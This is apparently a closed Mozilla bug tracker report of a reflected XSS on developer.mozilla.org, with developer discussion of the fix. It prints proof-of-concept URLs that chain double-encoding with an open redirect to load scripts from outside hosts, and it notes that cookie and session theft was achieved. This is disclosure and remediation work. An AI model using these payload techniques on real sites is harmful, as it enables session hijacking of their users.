Closed Bug 847190 Opened 11 years ago Closed 8 years ago

reflective XSS developer.mozilla.org

Categories

(developer.mozilla.org :: Security, defect, P2)

defect

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: mal.j.bat, Assigned: groovecoder)

Details

(Keywords: sec-high, wsec-xss, Whiteboard: [type:bug][site:developer.mozilla.org])

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.99 Safari/537.22

Steps to reproduce:

found a problem and tinkered together XSS

example:
https://developer.mozilla.org/de/users/logout%253f%3fnext=%252f%252fgoo.gl/XY6kh&paddingpaddingpadding

So I saw that you added developer.mozilla.org to the Eligible bugs list (or maybe I didn't notice it before):
http://www.mozilla.org/security/bug-bounty-faq-webapp.html

I found an issue with that site before, when you replace ? in the url with %3f you get weird redirect problems and urls for included scripts in the site go awry:
 https://developer.mozilla.org/de/%3f 
 -> GET https://de/jsi18n/build:3fc1d65  404  | line 512

So I decided to see if I can exploit that and started looking for things I can reach.
In the example above I use an open redirect:
https://developer.mozilla.org/de/users/logout?next=//example.com
and a bit of padding to get things working.

Tested in OS X 10.8.2:
 - Chrome 25.0.1364.99
 - Firefox 19.0


Actual results:

js execution


Expected results:

no js execution??
The whole thing also works with login (for logged-in users):
https://developer.mozilla.org/de/users/login%253f%3fnext=%252f%252fgoo.gl/yY9B5&paddingpaddingpadding
=> alert(document.cookie)

Also none of the cookies seem to be httpOnly. ^^
Assigning to Paul for verificaiton
Assignee: nobody → ptheriault
Flags: needinfo?(ptheriault)
Whiteboard: [verif?]
Confirmed. I got an alert popup. The code executes in the MDN domain

See this example which alerts document.domain
https://developer.mozilla.org/de/users/logout%253f%3fnext=%252f%252fpeople.mozilla.com/~dchan/t.js&paddingpaddingpadding
Assignee: ptheriault → nobody
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-high, wsec-xss
Whiteboard: [verif?]
Flags: needinfo?(ptheriault) → sec-bounty?
Assignee: nobody → lcrouch
Whiteboard: [selected]
rforbes was able to steal a user's session using this bug
Flags: sec-bounty? → sec-bounty+
Copying a note from David Walsh: "Do we really need this 'next' value on the client side? Can't it be stored in a session?"
Whiteboard: [selected] → [specification-like][type:bug][selected]
Priority: -- → P1
It could be stored in a session variable. I just hate sessions is all. But that might be the best solution at this point.
(In reply to Luke Crouch [:groovecoder] from comment #7)
> It could be stored in a session variable. I just hate sessions is all. But
> that might be the best solution at this point.

I don't think a session var is a good idea. That means:

1) creating a session for every site visitor, logged in or not. (very expensive)
2) setting ?next in the session for every page visit. (also expensive)
3) clobbering ?next for every tab that gets opened

Since a session is browser-global rather than tab-local, #3 means that the last tab opened wins. Worst case, if/when we get around to upgrading our Persona support (which has an auto-login/logout feature) I think that would mean every MDN tab open would all revert to the same page once the user signs in / signs out with any tab.
I believe there are two related bugs in this report. I'm not sure how sessions affect the bugs.

1) The URL pointed to by next is evaluated in the context of the MDN domain
2) next can be used as an open redirector

I personally don't think 2 is a big deal.

Does 1 really need to evaluate the URL provided by next on the MDN domain? Is this an encoding issue?
Any "next" parameters like this should be piped through Django's is_safe_url[1]. This is available in Django versions from 1.3.5, 1.4.3, and 1.5.

If we can get the upgrade done first, we'll have this machinery available. If we can't wait, we can't wait, but maybe we can copy/past is_safe_url into a utils module for now and use it.

[1] https://www.djangoproject.com/weblog/2012/dec/10/security/
(In reply to Daniel Veditz [:dveditz] from comment #4)
> rforbes was able to steal a user's session using this bug

Was that because of this, or because of the non-httpOnly session cookie? (Bug 854165).

(In reply to David Chan [:dchan] from comment #3)
> Confirmed. I got an alert popup. The code executes in the MDN domain
> 
> See this example which alerts document.domain
> https://developer.mozilla.org/de/users/logout%253f%3fnext=%252f%252fpeople.
> mozilla.com/~dchan/t.js&paddingpaddingpadding

:dchan, this URL doesn't have a query string, it just has a long, convoluted path. Is this correct? It looks like it's been urlencoded a few too many times. Right now it doesn't work, as it kicks up an Apache-level server error.
See also SUMO bug 849480. I believe the issue is this line:

https://github.com/mozilla/kuma/blob/master/apps/users/views.py#L613

It checks that the host/netloc matches iff there's a scheme. Protocol-relative URLs lack a scheme, so this check isn't performed for proto-relative URLs.

Changing this to 'if parsed_url.netloc:' should fix it. The preceding lines and comment can be removed.
Or just replacing that whole block with "if not is_safe_url(url): url = None". Unless there's a reason to accept URLs with hostnames at all.
Whiteboard: [specification-like][type:bug][selected] → [specification-like][type:bug][selected][site:developer.mozilla.org]
Whiteboard: [specification-like][type:bug][selected][site:developer.mozilla.org] → [specification-like][type:bug][site:developer.mozilla.org]
Whiteboard: [specification-like][type:bug][site:developer.mozilla.org] → [type:bug][site:developer.mozilla.org]
Priority: P1 → P2
Adding all MDN devs to cc list of these security bugs.
The last real activity on this bug was 3 years ago. Since then, there have been a lot of updates on MDN.

I'm not able to reproduce this. Either the issue was fixed at some point or I'm missing something when trying to reproduce it.

Here's what I did:

1. I created a t.js file in my people account attempting to mirror what dchan did. It's here:

https://people.mozilla.org/~wkahngreene/t.js

2. The /users/logout and /users/login pages both lead to a 404 now, so they're not valid anymore. The new urls are /users/signin and /users/signout.

Thus, I tried with these urls using a fresh profile and not logged in and also switched to en-US:

* https://developer.mozilla.org/en-US/users/signin?next=%252f%252fpeople.mozilla.org/~wkahngreene/t.js&paddingpaddingpadding
* https://developer.mozilla.org/en-US/users/signout?next=%252f%252fpeople.mozilla.org/~wkahngreene/t.js&paddingpaddingpadding

Neither do any js alerts.

Any ideas? Can anyone else reproduce this still?
No one replied to this which I'm going to assume means no one can reproduce it. Given that, I'm going to mark it as FIXED since changes have happened in the 3 years since it was opened and it's likely one of them fixed it.
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
For bugs that are resolved, we remove the security flag. These haven't had their flag removed, so I'm removing it now.
Group: websites-security
You need to log in before you can comment on or make changes to this bug.